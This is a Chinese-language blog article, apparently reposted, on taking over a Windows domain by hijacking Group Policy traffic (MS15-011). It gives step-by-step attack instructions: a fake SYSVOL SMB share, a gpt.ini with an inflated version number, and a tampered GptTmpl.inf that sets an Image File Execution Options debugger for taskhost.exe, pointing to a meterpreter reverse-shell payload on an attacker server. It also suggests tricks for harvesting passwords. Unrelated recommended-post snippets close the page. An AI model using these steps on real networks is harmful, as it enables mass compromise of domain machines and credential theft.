域渗透之流量劫持

说在前面

windows Domain 中文翻译为域,域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元。它是由所有的用户计算机,打印机,用户账户和其他的安全主体组成,被域控制器管理。

域是微软提供给企业的一个局域网管理措施,使得信息技术人员能高效的管理和维护局域网中所有的主机和用户。域位于每一个企业最核心的位置,在域上运行着大量的企业核心应用,如邮件系统,协同办公系统,文件共享系统等。

在网络渗透攻击中,攻击者如果获取了域的权限,那么攻击者就有可能获取公司的机密,控制公司的一切。所以域安全是企业安全最为核心的一个环节,并且微软对域本身也在进行不断的安全加固。

NSA泄漏的文档和工具让人们明白了网络的底层设备是多么的不堪一击,但是部分运维人员和安全人员仍然抱有幻想,只要养成正确的计算机使用习惯,不安全的底层网络很难威胁到域的安全,但是事实往往不是这样,Windows域本身十分脆弱,尤其是在不安全的网络环境中,因为域是基于信任底层网络进行设计和建造的。

本文将利用另外一种方法,完成从底层网络入侵windows域。

原理分析

当底层网络被攻陷,攻击者就能轻易的劫持流量,伪造网络节点。而劫持流量攻击最基本的设计思路就是建立在一个假设之上,如果劫持了某个设备,能达到什么目的。

如果劫持了域控,能达到什么目的?

基于这个假设,进行了一系列测试,拿出其中一个测试与大家共同研究。

在微软的官网上有如下描述:

组策略是在基于 Active Directory 域服务 (AD DS) 的网络上访问和配置计算机及用户设置的最轻松易行的方式。如果您的企业未在使用组策略,那么将会错失降低成本、控制配置、使用户保持卓有成效和愉悦的心情以及增强安全性的大好机会。可以将使用组策略进行配置视为“一举多得”。

域控通过组策略完成对域内机器的进行配置的一种方式,windows域机器每间隔一段时间就会向域控制器请求更新组策略,以保证自身使用着最新的域策略。更新的过程是,域成员机器每间隔 90min+random()*30min ,向域控请求策略版本号,这个版本号存在于域控的gpt.ini文件中,位于

  1. \\domian_name\sysvol\domain_name\Policies 

文件夹中,文件内容为:

  1. [General] 
  2. Version = 1 

这个版本号如果等于自身版本号,那么系统就认为自身组策略是最新版本。然后重置计时器,等待下一个间隔去请求更新。

详细数据包请求过程如下图:

如果自身版本号小于返回的版本号,那么系统认为自身组策略以过时,就继续请求registry.pol 和GptTmpl.ini文件,详细数据包请求过程如下图:

而GptTmpl.inf文件,是一个模版文件,允许远程修改域成员的注册表。

如果劫持并且修改了GptTmpl.inf文件,就可以随意修改请求该文件域成员的注册表。利用劫持该文件入侵域的一种方式就是修改注册表给域机器添加启动项,等到机器重启时,就可以运行指定文件或者脚本。

但是面临着一个问题,必须等到该机器重新启动。该机器可能启动周期很长,攻击者的启动脚本或攻击payload存储的位置就必须持续保持,很不方便。之前CoreSecurity的测试POC时修改AppInit_DLL注册表键值,但是这个键值已经不启用很多年了。所以需要一个简便高效的方式。再经过多种利用测试之后,终于找到一种非常好用的方式,一个神奇的注册表键值:

  1. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution optin] 

通过修改这个键值,可以给任一windows程序添加一个debugger调试器。例如可以给cmd.exe添加一个调试器debugger.exe,这样你在启动cmd.exe 的时候,实际运行的为:

  1. c:\debugger.exe cmd.exe 

通过这种方式,可以给IE,Chrome或者其他什么用户可能会运行的程序添加一个调试器,这种方式明显会比等待用户重启要迅速的多。

即使是在用户权限受限制的情况下,依然可以通过组策略劫持的方式来对该机器的注册表进行修改。但是在劫持完成之后,必须对注册表进行清理,因为该调试程序不可能长久存在,那么之后用户可能无法启动该程序。并且修改键值需要管理员权限。

为了避免猜错用户使用的程序和较长的等待时间,经过多次测试找到了一个更好的解决办法。系统在更新组策略之后,会用系统权限创建一个新的进程 taskhost.exe ,即使该用户处于一个受限制的状态。所以给taskhost.exe程序创建一个调试器,这样就能在系统更新完粗策略后立刻获取一个system权限的shell。不需要漫长的等待,不需要重启,不需要用户的任何操作,一切都是静默中完成。

当然,这种劫持组策略执行命令的方式很早的时候就报告给了Microsoft,并且在2015年2月10日就发布安全公告 MS15-011并提供了补丁KB3000483。微软决定在用户端修复这个漏洞,强制使用“SMB Signing”。

但是,虽然这个漏洞在一年多前就已经发布安全公告,并且提供了相关补丁,但是这个补丁是默认不启用的。

在微软的官方公告中有这样一段话:

This security update requires the following steps to be performed in order to protect against the vulnerability described in the bulletin (MS15-011). To enable this functionality, a system administrator must apply the following Group Policy settings in addition to installing security update 3000483.

其含义是:

系统管理员必须手动配置组策略,启用“UNC Hardened Access”来避免MS15-011漏洞所带来的安全风险。详细的配置策略在微软的官方网站,简单总结成了12个步骤,网页链接如下:

https://support.microsoft.com/en-us/kb/3000483

微软认为这是一个漏洞,并且提供了相关的补丁。但是这个补丁并不是默认启用,必须管理员手动配置12个步骤才能启用。

所以该漏洞大多数环境中依然可以被当作0DAY来使用。

测试

实验测试步骤如下:

1. 准备存放payload的SMB服务器和相应的payload

在该测试中,在攻击者机器上启用了SMB共享,创建一个映射为SYSVOL的目录,命令如下:

  1. net share sysvol=C:\Users\TEST\Desktop\sysvol 

或者直接使用界面开启共享,效果一样。在文件夹中创建树形结构,因为域机器在请求更新的时候只会请求固定位置的文件。文件结构如下:

  1. ─Domain_Name  
  2. └─Policies  
  3.     └─{31B2F340-016D-11D2-945F-00C04FB984F9} 
  4.              │  gpt.ini 
  5.              │ 
  6.              └─Machine 
  7.                  └─Microsoft 
  8.                      └─Windows NT 
  9.                          └─SecEdit 
  10.                                  GptTmpl.inf 

然后开启整个文件夹的匿名共享,允许任何人访问。

准备payload程序,本测试准备的是meterpreter_resver_tcp.exe,重命名为debugger.exe。

因为劫持方式不一样,如果选择直接修改数据包内容或者重新回包,可以不用创建树形结构目录,但是SMB的匿名共享文件夹是需要的,用来存放payload。

2. 劫持中需要修改的数据

首先修改Gpt.ini文件,将其中的版本号改为一个较大数字,方便起见改为1000,如下:

  1. [General]  
  2. Version=1000 

然后修改策略文件GptTmpl.ini,文件原内容如下:

  1. [Unicode] 
  2. Unicode=yes 
  3. [System Access] 
  4. MinimumPasswordAge = 1 
  5. MaximumPasswordAge = 42 
  6. MinimumPasswordLength = 7 
  7. PasswordComplexity = 1 
  8. PasswordHistorySize = 24 
  9. LockoutBadCount = 0 
  10. RequireLogonToChangePassword = 0 
  11. ForceLogoffWhenHourExpire = 0 
  12. ClearTextPassword = 0 
  13. LSAAnonymousNameLookup = 0 
  14. [Kerberos Policy] 
  15. MaxTicketAge = 10 
  16. MaxRenewAge = 7 
  17. MaxServiceAge = 600 
  18. MaxClockSkew = 5 
  19. TicketValidateClient = 1 
  20. [Registry Values
  21. MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1 
  22. [Version] 
  23. signature="$CHICAGO$" 
  24. Revision=1 

然后按照设计进行相应的修改,简便起见,只添加修改注册表项,修改后的文件内容如下:

  1. [Registry Values
  2. MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe 
  3. [Version] 
  4. signature="$CHICAGO$" 
  5. Revision=1 

将“evil_SMB_server”替换成放置payload的服务器地址,将“debugger.exe”替换成payload文件。

3. 开始攻击

劫持流量到attacker上。在这里劫持流量的方式多种多样,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的软件,叫做Responder github,但是本次试验是专门针对路由器流量劫持定制的程序来完成所有操作。

首先,client会tree一下整个文件夹,然后请求Gpt.ini,对比版本号,然后继续请求GptTmpl.ini文件,将文件中的注册表模版应用到注册表中。应用成功之后,下载并以debugger.exe作为调试器启动taskhost.exe程序, 然后稍等几秒:

done

获取了一台机器的最高控制权限。

最多等待120min,就可以获取到整个域机器的最高权限。除了域控制器,因为域控制器不会请求更新组策略。到那时如果域中有多个域控制器,它们之间会请求更新组策略,同样可以被劫持。

除了域控外的所有设备都获取了控制权限,已经基本可以在域中畅行无阻了。

针对域控,只能使用通过组策略创建替换登录脚本,添加启动项等方法中的一种。再或者,通过组策略添加登录脚本,修改注册表UseLogonCredential的键值,等机器完成重启就能批量抓取用户密码,因为域管理员不可能只在域控上登录。

或者使用其他的更好的方法 ,如有好的思路,请私信我,可以共同讨论测试。

这样就获取到了整个域的控制权限。

总结

底层网络设备很危险,并且底层网络能给上层应用和服务带来难以想象的影响。只是现在的安全圈子没有深刻认识到。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/131580.html<

(0)
运维的头像运维
上一篇2025-02-26 14:56
下一篇 2025-02-26 14:57

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注